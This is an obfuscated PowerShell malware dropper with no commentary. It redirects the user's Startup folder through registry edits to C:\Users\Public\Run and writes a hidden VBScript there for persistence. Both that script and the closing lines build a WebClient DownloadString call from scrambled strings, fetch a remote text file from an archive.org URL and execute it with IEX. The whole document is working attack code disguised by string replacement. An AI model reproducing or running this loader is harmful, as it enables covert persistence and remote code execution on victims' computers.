$FVYTFYTFYFYFYFYFGY="C:\UsTRYCTUVYIBUCRYCTUVYIBTCRYTUYic\Run".Replace("TRYCTUVYIBUCRYCTUVYIBTCRYTUY","ers\Publ")
$YGUYGNUHYGUYGYUGYGUYGYUG = "Cr######################ory".Replace("######################","eateDirect")
[system.io.directory]::$YGUYGNUHYGUYGYUGYGUYGYUG($FVYTFYTFYFYFYFYFGY)
start-sleep -s 5
$HIUHIUHJIUHUYUUIHYIUIUHI = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"
$GVFHTFYUGRTYUGYFTFYYUH= "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
$JYHGYUGUYGFYTFDTRDTRDFTR = "C:\Us--------------c\Run".Replace("--------------","ers\Publi")
$BFYHGTFYHFHUYGYU8YUYYUYG ="C------------blic\Run".Replace("------------",":\Users\Pu")

Set-ItemProperty -Path $HIUHIUHJIUHUYUUIHYIUIUHI -Name "Startup" -Value $JYHGYUGUYGFYTFDTRDTRDFTR;
Set-ItemProperty -Path $GVFHTFYUGRTYUGYFTFYYUH -Name "Startup" -Value $BFYHGTFYHFHUYGYU8YUYYUYG;
start-sleep -s 5
$Content = @'
Dim HBANKERS
Set HBANKERS= CreateObject("WScript.Shell")
HHHHHHHHHHHHHHHHHHHHHHH=chr(80) +Chr(79) & Chr(87)
BBBBBBBBBBBBBBBBBBBBBBBB=Chr(69) & "r" & Chr(83) & Chr(72) & Chr(69) & Chr(76)
AAAAAAAAAAAAAAAAAAAAAAA="L $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601505.us.archive.org/8/items/server-new-43546576879809/Server_new_43546576879809.txt';"
NNNNNNNNNNNNNNNNNNNNNNNNN = "$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');"
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK ="$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');"
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE = "$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');"
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR = HHHHHHHHHHHHHHHHHHHHHHH+BBBBBBBBBBBBBBBBBBBBBBBB+AAAAAAAAAAAAAAAAAAAAAAA+NNNNNNNNNNNNNNNNNNNNNNNNN++KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK+EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE+""
HBANKERS.Run RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR,0
'@
Set-Content -Path C:\Users\Public\Run\Run.vbs -Value $Content

start-sleep -s 5

$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601505.us.archive.org/8/items/server-new-43546576879809/Server_new_43546576879809.txt';
$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S')
$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');
&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');